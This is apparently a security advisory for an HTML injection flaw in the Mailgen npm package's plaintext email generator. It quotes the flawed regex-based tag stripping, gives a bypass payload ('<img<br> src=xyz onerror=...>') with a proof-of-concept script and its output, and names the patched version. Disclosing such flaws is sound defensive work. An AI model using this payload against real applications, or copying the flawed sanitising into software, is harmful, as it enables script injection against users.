An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email); method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).
The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.
// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
// Plaintext theme not cached?
if (!this.cachedPlaintextTheme) {
throw new Error('An error was encountered while loading the plaintext theme.');
}
// Parse email params and get back an object with data to inject
var ejsParams = this.parseParams(params);
// Render the plaintext theme with ejs, injecting the data accordingly
var output = ejs.render(this.cachedPlaintextTheme, ejsParams);
// Definition of the <br /> tag as a regex pattern
var breakTag = /(?:\<br\s*\/?\>)/g;
var breakTagPattern = new RegExp(breakTag);
// Check the plaintext for html break tag, maintains backwards compatiblity
if (breakTagPattern.test(this.cachedPlaintextTheme)) {
// Strip all linebreaks from the rendered plaintext
output = output.replace(/(?:\r\n|\r|\n)/g, '');
// Replace html break tags with linebreaks
output = output.replace(breakTag, '\n');
// Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
output = output.replace(/^(?: |\t)*/gm, "");
}
// Strip all HTML tags from plaintext output
output = output.replace(/<.+?>/g, '');
// Decode HTML entities such as ©
output = he.decode(output);
// All done!
return output;
};
The process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.
A valid payload is: <img<br> src=xyz onerror=alert(1)>.
var Mailgen = require('mailgen');
var mailGenerator = new Mailgen({
theme: 'default',
product: {
name: 'Mailgen',
link: 'https://mailgen.js/'
}
});
var email = {
body: {
name: 'John <img<br> src=xyz onerror=alert(document.body.innerHTML)> Appleseed',
intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
action: {
instructions: 'To get started with Mailgen, please click here:',
button: {
color: '#22BC66',
text: 'Confirm your account',
link: 'secret-link'
}
},
outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
}
};
// Generate the plaintext version of the e-mail
var emailText = mailGenerator.generatePlaintext(email);
// Optionally, preview the generated plaintext e-mail
require('fs').writeFileSync('emailText.txt', emailText, 'utf8');
Resulting output file (emailText.txt):
Hi John <img
src=xyz onerror=alert(document.body.innerHTML)> Appleseed,
Welcome to Mailgen! We're very excited to have you on board.
To get started with Mailgen, please click here:
secret-link
Need help, or have questions? Just reply to this email, we'd love to help.
Yours truly,
Mailgen
© 2025 Mailgen. All rights reserved.
The vulnerability has been patched in commit 741a019 and released to npm in version 2.0.30.
Thanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-22T18:03:47Z",
"nvd_published_at": "2025-09-22T20:15:39Z",
"severity": "MODERATE"
}